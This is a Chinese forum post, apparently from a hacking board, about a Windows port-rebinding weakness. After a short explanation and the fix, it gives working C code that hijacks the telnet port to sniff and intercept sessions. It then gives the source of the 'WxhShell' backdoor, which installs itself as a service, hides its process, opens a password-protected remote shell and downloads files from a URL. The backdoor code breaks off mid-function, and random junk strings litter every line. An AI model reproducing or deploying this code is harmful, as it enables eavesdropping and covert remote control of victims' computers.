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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (UpSi6?\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R5Ti|k.~Y"  
KY@k4S+  
  saddr.sin_family = AF_INET; o4d>c{p  
)x]/b=m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WFTTBUoH  
<[(xGrEZV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )U5AnL  
9n1O@~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V<1dA\I"  
LqW~QEU(  
  这意味着什么?意味着可以进行如下的攻击: xHHG| u  
U4%P0}q/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o;}o"-s  
J-=&B5"O>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bjbm"~  
VsFRG;:\U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t~e.LxN  
[(]uin+9Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2: fSn&*/>  
;R}:2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IU&n!5d$)|  
(.Sj"6+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .7{,u1N'  
R9k Z#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l{6fR(d ?  
iielAj*b  
  #include _K'YaZTa;~  
  #include ,9=5.+AJ  
  #include ?bY'J6n.  
  #include    @r=O~x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   64Q{YuI  
  int main() rcAx3AK.  
  { K-#v5_*  
  WORD wVersionRequested; Iq(BH^K  
  DWORD ret; S9-FKjU  
  WSADATA wsaData; .- uH ax0  
  BOOL val; ~ #Vrf0w/  
  SOCKADDR_IN saddr; o#CNr5/  
  SOCKADDR_IN scaddr; =#^\ 9|?$  
  int err; ]v$VZ '  
  SOCKET s; eWE7>kwh  
  SOCKET sc; 624l5}@:  
  int caddsize; 'jqkDPn  
  HANDLE mt; 6ID@0  
  DWORD tid;   ZE#A?5lb  
  wVersionRequested = MAKEWORD( 2, 2 ); /a Nlr>^  
  err = WSAStartup( wVersionRequested, &wsaData ); sZA7)Z`7  
  if ( err != 0 ) { fn;`Vit#  
  printf("error!WSAStartup failed!\n"); l'm!e'7_  
  return -1; F{v>   
  } g=Rl4F]  
  saddr.sin_family = AF_INET; ]9F$/M#  
   xbsp[0I,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yO.q{|kX  
\9jEpE^Ju(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "KSzn  
  saddr.sin_port = htons(23); H+6+I53  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qYF150  
  { w`x4i fZ0q  
  printf("error!socket failed!\n"); Gg$4O8  
  return -1; 90X<Qs  
  } J4"?D9T3G  
  val = TRUE; &C6Z-bS"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R0HzNk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )T&ZiHIJ3  
  { gd#+N]C_  
  printf("error!setsockopt failed!\n"); @T)kqT  
  return -1; XOsuRI ?  
  } LR%]4$ /M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0QcC5y;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8Q4yllv4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {S,L %  
lf-1;6nyk"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y<|8OTT  
  { 9#cPEbb~  
  ret=GetLastError(); ,%6!8vX  
  printf("error!bind failed!\n"); sQwRlx  
  return -1; Tmjcc(  
  } h6`v%7H?  
  listen(s,2); 3qggdi  
  while(1) +6-_9qRq  
  { '(fQtQ%  
  caddsize = sizeof(scaddr); #\1)Tu%-  
  //接受连接请求 m#|;?z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o+*7Q!  
  if(sc!=INVALID_SOCKET) RA^6c![  
  { yzWVUqtXm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @` 5P^H7  
  if(mt==NULL) *QH~ z2:[  
  { xU9T8Lw  
  printf("Thread Creat Failed!\n"); 5d|hP4fEc  
  break; fkk&pu  
  } 1K\z amBg  
  } upi\pXv  
  CloseHandle(mt); DXyRNE<G[C  
  } XN|[8+#U<@  
  closesocket(s); '8Wu9 phT  
  WSACleanup(); mH6\8I  
  return 0; x<d2/[(}mT  
  }   C@b-)In  
  DWORD WINAPI ClientThread(LPVOID lpParam) W<Ri(g-  
  { VRE[ vM'  
  SOCKET ss = (SOCKET)lpParam; v-(dh5e` H  
  SOCKET sc; PJ -g.0q  
  unsigned char buf[4096]; uidoz f2}  
  SOCKADDR_IN saddr; n~_;tO  
  long num; Ndmki 7A  
  DWORD val; 0H!J  
  DWORD ret; -RI&uFqOI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :yxP3e%rp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b,hRk1  
  saddr.sin_family = AF_INET; xlIVLv6dO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dj-/%MU  
  saddr.sin_port = htons(23); T\v~"pMu*0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C :r3z50  
  { ({$>o]<h  
  printf("error!socket failed!\n"); =W[M=_0u  
  return -1; ~`yO@f;D  
  } T0|hp7WM  
  val = 100; kltorlH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JO-FnoQK  
  { @PzRHnT*  
  ret = GetLastError(); %1\~OnT  
  return -1; F rd>+   
  } tf IUH'Ez>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SiLWy=qbR  
  { YgV"*~  
  ret = GetLastError(); ,8@q2a/  
  return -1; s7?d_+O  
  } # KUN ZW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XcFu:B  
  { weH;,e*r  
  printf("error!socket connect failed!\n"); aOhi<I`*  
  closesocket(sc); lK Ry4~O  
  closesocket(ss); VPvQ]}g6k  
  return -1; 0JE*|CtK  
  } .k!<Oqa  
  while(1) q~. .Z Y`7  
  { AB+HyZ*//  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \ lW*.<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T-F8[dd^/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :d1Kq _\K  
  num = recv(ss,buf,4096,0); lk4U/:  
  if(num>0) ^]k=*>{ R  
  send(sc,buf,num,0); ^V0I!&7lx  
  else if(num==0) Ju-#F@38  
  break; D4jZh+_|S  
  num = recv(sc,buf,4096,0); lw`$(,  
  if(num>0) ]u|5ZCv0  
  send(ss,buf,num,0); {VE1c'E"V?  
  else if(num==0) +<Y1`kV)  
  break; |-9##0H  
  } 9}T(m(WQVu  
  closesocket(ss); }xJ!0<Bs  
  closesocket(sc); ~--b#o{  
  return 0 ; 6 m%/3>q  
  } *#.Ku(C+  
\2Yo*jE}  
a|-B#S  
========================================================== m$`4.>J  
ffy,ds_7  
下边附上一个代码,,WXhSHELL g?rK&UTU  
Ri/D>[  
========================================================== ,l#f6H7p  
9Xe|*bT  
#include "stdafx.h" af_b G;  
QfV:&b`  
#include <stdio.h> byHXRA)39  
#include <string.h> ~? n)/i("  
#include <windows.h> R[W'LRh~:1  
#include <winsock2.h> :DJLkMP  
#include <winsvc.h> 2m,t<Y;  
#include <urlmon.h> uCjbb  
Ssd7]G+n:  
#pragma comment (lib, "Ws2_32.lib") |@rYh-5  
#pragma comment (lib, "urlmon.lib") PmA_cP7~  
x75 3o\u!  
#define MAX_USER   100 // 最大客户端连接数 ua!RwSo  
#define BUF_SOCK   200 // sock buffer eB_ M *+^  
#define KEY_BUFF   255 // 输入 buffer "y-/ 9C  
YK V"bI  
#define REBOOT     0   // 重启 yK>s]65&  
#define SHUTDOWN   1   // 关机 >mMmc!u>G  
V 9;O1  
#define DEF_PORT   5000 // 监听端口 COL_c<\  
<3 I0$?xL  
#define REG_LEN     16   // 注册表键长度 ~}Z'/ zCZf  
#define SVC_LEN     80   // NT服务名长度 /Z2 g >  
snVeOe#'S  
// 从dll定义API oz'^.+uvE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -+n? Q;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7#sb },J{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ux"<?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]GiDfYs7%  
\4|osZ0y  
// wxhshell配置信息 e0g>.P@6  
struct WSCFG { 6oLZH6fG  
  int ws_port;         // 监听端口 Bg}(Sy  
  char ws_passstr[REG_LEN]; // 口令 x8Nij: K#  
  int ws_autoins;       // 安装标记, 1=yes 0=no i}kMo@  
  char ws_regname[REG_LEN]; // 注册表键名 %(~8a  
  char ws_svcname[REG_LEN]; // 服务名 b/UjKNf@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jN%+)Kj0C)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sDS0cc6e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sf,9Ym  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $+n5l@W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i&Me7=~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `l-R?C?*!  
71G00@&w9D  
}; TnLblkX  
0E`6g6xMS  
// default Wxhshell configuration GD<pqm`vVY  
struct WSCFG wscfg={DEF_PORT, \l?.VE D  
    "xuhuanlingzhe", T2}ccnDi  
    1, -hKtd3WbT  
    "Wxhshell", nE"0?VNW$  
    "Wxhshell", M7 gM#bv>L  
            "WxhShell Service", wb6$R};?  
    "Wrsky Windows CmdShell Service", CW@G(R  
    "Please Input Your Password: ", &\Yd)#B/  
  1, 8_uh2`+Bvb  
  "http://www.wrsky.com/wxhshell.exe", PF] Vt  
  "Wxhshell.exe" J:2Su1"ODh  
    }; nEh^{6  
baib_-$  
// 消息定义模块 Iq(;?_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k6??+b:rE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; du^r EMb%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l]mn4cn3  
char *msg_ws_ext="\n\rExit."; B=hJ*;:p  
char *msg_ws_end="\n\rQuit."; !gG\jC~n  
char *msg_ws_boot="\n\rReboot..."; G2hBJTW  
char *msg_ws_poff="\n\rShutdown..."; 5U.,iQ(d  
char *msg_ws_down="\n\rSave to "; ) q'~<QxI\  
]]_H|tO  
char *msg_ws_err="\n\rErr!"; {-,^3PI\  
char *msg_ws_ok="\n\rOK!"; -0:B2B  
f2FGod<CzN  
char ExeFile[MAX_PATH]; ,E8~^\HV  
int nUser = 0; BXX1G  
HANDLE handles[MAX_USER]; Wg5i#6y8w  
int OsIsNt; E3E$_<^  
uT{.\qHo  
SERVICE_STATUS       serviceStatus; -u%'u~s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ujss?::`G  
;AE%f.Y  
// 函数声明 Vr<ypyC  
int Install(void); D(gpF85t  
int Uninstall(void); O:(%m  
int DownloadFile(char *sURL, SOCKET wsh); QLAyX*%B  
int Boot(int flag); TkV$h(#!f&  
void HideProc(void); *!x/ia9  
int GetOsVer(void); +hd1|qa4  
int Wxhshell(SOCKET wsl); P%xz"l i  
void TalkWithClient(void *cs); `-)Fx<e  
int CmdShell(SOCKET sock); 91bJ7%  
int StartFromService(void); 5A*'@Fr'G  
int StartWxhshell(LPSTR lpCmdLine); a3oSSkT  
m&Lc."  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U-3uT&m*9.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d 3 }'J  
od~`q4p1(-  
// 数据结构和表定义 Ue0Q| h  
SERVICE_TABLE_ENTRY DispatchTable[] = 7Om)uUjU4  
{ !;YQQ<D  
{wscfg.ws_svcname, NTServiceMain}, 2\=cv  
{NULL, NULL}  \ l8$1p  
}; d<l-Ldle  
9wC:8@`6E  
// 自我安装 G.c@4Wz+  
int Install(void) ?4}EhXR(  
{ r.;(Kx/M  
  char svExeFile[MAX_PATH]; =m= utd8  
  HKEY key; =rDIU&0Y  
  strcpy(svExeFile,ExeFile); u(|k/~\  
=.Q|gZ   
// 如果是win9x系统,修改注册表设为自启动 ;j/-ndd&&  
if(!OsIsNt) { jZ>'q/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )04lf*ti  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ';?b99  
  RegCloseKey(key); R0*+GIRA(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O[fgn;@|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]]Da/^K=Z  
  RegCloseKey(key); eX>X=Ku  
  return 0; JSQ*8wDcl  
    } 84*Fal~Som  
  } J8yi#A>+  
} Wy%F   
else { DqHVc)9  
^y"$k  
// 如果是NT以上系统,安装为系统服务 #/9(^6f:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l7r!fAV-f  
if (schSCManager!=0) '3@WF2a  
{ 6'6@VB  
  SC_HANDLE schService = CreateService /Iu._2  
  ( jq&$YmWp  
  schSCManager, L%.GKANM  
  wscfg.ws_svcname, l@om2|B  
  wscfg.ws_svcdisp, &p$SFH?s  
  SERVICE_ALL_ACCESS, l<$c.GgFd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V ;)q?ZHg  
  SERVICE_AUTO_START, :22IY> p  
  SERVICE_ERROR_NORMAL, 2;`"B|-T  
  svExeFile, ]-aeoa#  
  NULL, 9{bzxM  
  NULL, :[N[D#/z  
  NULL, [y T4n.f  
  NULL, (dF4F4`{  
  NULL VQvl,'z  
  ); >9g`9hB  
  if (schService!=0) xW,(d5RtZ  
  { A2"xCJ0`  
  CloseServiceHandle(schService); >cD+&h34  
  CloseServiceHandle(schSCManager); c])b?dJ*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ QM  
  strcat(svExeFile,wscfg.ws_svcname); Al`[Iu&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }x1mpPND  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %zyMWC  
  RegCloseKey(key); Mf&W<n^j  
  return 0; MNiu5-g5  
    } p\8cl/~  
  } (;a O%  
  CloseServiceHandle(schSCManager); J7.bFW'  
} >M^ 1m(  
} [lA[w Cw  
8P!dk5 ,,O  
return 1; ys;e2xekg  
} @"HR"@pX  
?Y'S /  
// 自我卸载 d/(=q  
int Uninstall(void) O`dob&C  
{ :u{0M&  
  HKEY key; dTaR 8i  
j78xMGKO  
if(!OsIsNt) { GD'C^\E aZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2`vCQV  
  RegDeleteValue(key,wscfg.ws_regname); Q[p0bD:  
  RegCloseKey(key); C<fNIc~.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )B*?se]LJ  
  RegDeleteValue(key,wscfg.ws_regname); ?4Z0)%6  
  RegCloseKey(key); @WU_GQas3  
  return 0; @U:T}5)wc  
  } ZZE  
} Vrz!.X~  
} g#_?Vxt  
else { ;?2vW8{p<  
.tN)H1.:B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J6 [x(T  
if (schSCManager!=0) u?g!E."v  
{ H8K<.RY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P+3G*M=}  
  if (schService!=0) ".xai.trr  
  { :Rt5=0x   
  if(DeleteService(schService)!=0) { /@RnCjc'  
  CloseServiceHandle(schService); uU.9*B=H9  
  CloseServiceHandle(schSCManager); #K! Df%,<  
  return 0; pLzsL>6h  
  } *!9/`zW  
  CloseServiceHandle(schService); ?GFxJ6!%I  
  } OqBw&zm  
  CloseServiceHandle(schSCManager); y=vH8D]%X  
} e^XijId.  
} AD?DIE(v  
7^iF,N  
return 1; 6ddkUPTF  
} /2dK*v0  
p!aeL}g`  
// 从指定url下载文件 g-p OO/|  
int DownloadFile(char *sURL, SOCKET wsh) f/;\/Q[Z7  
{ 45MK|4\Y_  
  HRESULT hr; t48(GKF  
char seps[]= "/"; {C]M]b*F6(  
char *token; 4rM77Uw>  
char *file; 1wc -v@E  
char myURL[MAX_PATH]; -'PpY302  
char myFILE[MAX_PATH]; ;@d %<yMf@  
XFu@XUk!K  
strcpy(myURL,sURL); 4E |6l  
  token=strtok(myURL,seps); GoEIY  
  while(token!=NULL) - Ez|  
  { f6L_u k`{  
    file=token; zW0AB8l  
  token=strtok(NULL,seps); &vMH AZd  
  } :LBe{Jbw  
q<yH!  
GetCurrentDirectory(MAX_PATH,myFILE); %&_(IY$d  
strcat(myFILE, "\\"); uAjGR  
strcat(myFILE, file); : l>Ue&  
  send(wsh,myFILE,strlen(myFILE),0); i9!Urq-  
send(wsh,"...",3,0); H;sQ]:.*]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u\e#_*>  
  if(hr==S_OK) G'Q7(c  
return 0; y9*H  
else !7xp<=  
return 1; CMBW]b|  
|Lhz^5/  
} oyr2lfz*  
|~HlNUPR  
// 系统电源模块 z}Z`kq+C  
int Boot(int flag) amBz75N{  
{ :x{Q  
  HANDLE hToken; 68HX,t  
  TOKEN_PRIVILEGES tkp; /XSPVc<  
b(SV_.4,'  
  if(OsIsNt) { #`p>VXBj!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GVl u4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r0 X2cc  
    tkp.PrivilegeCount = 1; /M3D[aR<d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z'qVEHc)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7%E1F)%  
if(flag==REBOOT) { GcU/   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i `>X5Da5  
  return 0; k( g$_ ]X  
} <y.D0^68  
else { "q`%d_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EkL\~^  
  return 0; nUd\4;J#  
} *b)b#p  
  } `U g.c  
  else { 6#KI? 6  
if(flag==REBOOT) { Dz50,*}J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 13QCM0#  
  return 0; 8zc!g|5"  
} + kF[Oh#  
else { P+b^;+\1s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %b{!9-n}  
  return 0; ^ Wl/  
} *.*:(7`  
} DO\EB6xH>%  
!n{c#HfG  
return 1; UeICn@)\y  
} $1?X%8V  
d_,tXV"z&  
// win9x进程隐藏模块 KB"iF}\P0  
void HideProc(void) p&4n3%(R@  
{ ZWa#}VS}-n  
OV/FQH;V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )j6>b-H   
  if ( hKernel != NULL ) *h4m<\^U  
  { Az-!LAu9 R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3E ZwF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =CVT8(N*  
    FreeLibrary(hKernel); [;=ky<K0E  
  } cLU*Tx\  
Q$vr`yV#=6  
return; YW{V4yW  
} =_dd4`G&<  
cP2R2 4th  
// 获取操作系统版本 &JlR70gdHi  
int GetOsVer(void) .zAafi0  
{ JKT+ q*V  
  OSVERSIONINFO winfo; ,jnRt%W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Uu X"AFy~\  
  GetVersionEx(&winfo); s4$m<"~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4sj%:  
  return 1; :(b3)K  
  else 8e@JvAaa$  
  return 0; 7S2F^,w  
} |+:ZO5FaO  
z= p  
// 客户端句柄模块 4LjSDgA  
int Wxhshell(SOCKET wsl) oPy zk7{  
{ ]R{"=H'  
  SOCKET wsh; \Ep/'Tj&  
  struct sockaddr_in client; fE*I+pe  
  DWORD myID; | q16%6q  
D&r8V;G[[  
  while(nUser<MAX_USER) 8-5 jr_*  
{ mG~y8nUtp  
  int nSize=sizeof(client); qE72(#:R*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m[{&xF|_  
  if(wsh==INVALID_SOCKET) return 1; DP_Pqn8p&M  
x#0@ $  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6h_k`z  
if(handles[nUser]==0) IJc#)J.2A  
  closesocket(wsh); _~nex,;r  
else R{o*O_qX  
  nUser++; OZ;E&IL  
  } >1U@NK)HfY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D:ugP ,  
otVyuh  
  return 0; S.)7u6/_!  
} N&ql(#r  
IVzA>Vd  
// 关闭 socket \u _v7g  
void CloseIt(SOCKET wsh) 4<g72| y  
{ >.hGoT!_k  
closesocket(wsh); HCIF9{o1j>  
nUser--; _O;~ }N4u  
ExitThread(0); fJw=7t-t  
} 56Y5kxmi  
:J`!'{r  
// 客户端请求句柄 C)96/k  
void TalkWithClient(void *cs) 'HWgvmw(  
{ bus=LAJt=  
_ 1{5~  
  SOCKET wsh=(SOCKET)cs; 0bxvM  
  char pwd[SVC_LEN]; ,ok J eZ  
  char cmd[KEY_BUFF]; .&x?`pER  
char chr[1]; z#J/*712  
int i,j; z{3%Hq  
/Tf*d>Yh;  
  while (nUser < MAX_USER) { 0*;9CH=BE  
:5K ~/=6x  
if(wscfg.ws_passstr) { f76|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6>BDA?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z)O>h^0  
  //ZeroMemory(pwd,KEY_BUFF); Eb[H3v48,  
      i=0; D^s0EW-E  
  while(i<SVC_LEN) { T:S{3  
uP=_-ZUW  
  // 设置超时 e3={$Ah  
  fd_set FdRead; O?,i?  
  struct timeval TimeOut; g} ~<!VpX  
  FD_ZERO(&FdRead); 3:8nwt  
  FD_SET(wsh,&FdRead); D ,ZNh1xt  
  TimeOut.tv_sec=8; ,c7u  
  TimeOut.tv_usec=0; khN:+V|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KvJP(!{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )]b@eGNGj  
u1|P'>;lF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VtzmY  
  pwd=chr[0]; !+45=d 5  
  if(chr[0]==0xd || chr[0]==0xa) { F}B/-".^  
  pwd=0; Ddl% V7  
  break; 9Oo*8wvGG  
  } ;Jbc'V'fm  
  i++; k *;{n8o?)  
    } Sp~Gv>uMK  
88np/jvC{  
  // 如果是非法用户,关闭 socket )47j8jL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =7]Q6h@X  
} ilRm}lU|x  
%QsSR'`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .xz,pn}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +z jzO]8  
>_0 i=.\  
while(1) { M`C~6Mf+  
#:vDBP05.m  
  ZeroMemory(cmd,KEY_BUFF); qgC-@I  
v_ nBh,2  
      // 自动支持客户端 telnet标准    `\|3 ~_v  
  j=0; _/]:=_bf_z  
  while(j<KEY_BUFF) { G\:psx/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M*~v'L_sI  
  cmd[j]=chr[0]; 8/>wgY  
  if(chr[0]==0xa || chr[0]==0xd) { ,F?~'-K  
  cmd[j]=0; 28Ssb|  
  break; ;x3 ]4^  
  } ^0-e,d 9h  
  j++; sPE)m_u  
    } emkMR{MY  
w-'D*dOi  
  // 下载文件 _5U%'\5s  
  if(strstr(cmd,"http://")) { 'e<HPNi)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D#/%*|  
  if(DownloadFile(cmd,wsh)) (| 36!-(iK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X6Nm!od'  
  else 5<)gCHa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 43u PH1 )  
  } kHJDX;  
  else { PK 2Rj%  
pRiH,:\  
    switch(cmd[0]) { Xv-1PY':pA  
  4l%?mvA^m  
  // 帮助 v`_i1h9p{  
  case '?': { .e FOfV)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iFwyh`Bcg  
    break; YM`:L  
  } #GY&$8.u*  
  // 安装 38*'8=Y#>  
  case 'i': { p'Y&Z?8  
    if(Install()) '?`@7Eol  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u1pc5 Y{  
    else E*r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @tE&<[e  
    break; Rg8m4xw  
    } aJy>  
  // 卸载 38w.sceaT  
  case 'r': { C)J_lI{^  
    if(Uninstall()) (?!(0Ywbg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q lz9&w  
    else ;e~{TkD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Msv*}^>  
    break; o8};e  
    } 1Es*=zg  
  // 显示 wxhshell 所在路径 Y0Hq+7x  
  case 'p': { +#-kIaU  
    char svExeFile[MAX_PATH]; ^&`sWO@=  
    strcpy(svExeFile,"\n\r"); Mz/]DJ8  
      strcat(svExeFile,ExeFile); +gbX}jF0%  
        send(wsh,svExeFile,strlen(svExeFile),0); Q{.{#G  
    break; 3WO#^}t  
    } t?]\M&i&  
  // 重启 55>" R{q  
  case 'b': { pBg|n=^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b"R, p=M  
    if(Boot(REBOOT)) 5#TrCPi6A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KdOh'OrT9.  
    else { D0Vyh"ua  
    closesocket(wsh); z)58\rtz  
    ExitThread(0); H-/; l54E  
    } 6m, KL5>W  
    break; []A"]p  
    } ]k ::J>84  
  // 关机 ?AeHVQ :C  
  case 'd': { z`emKFbv  
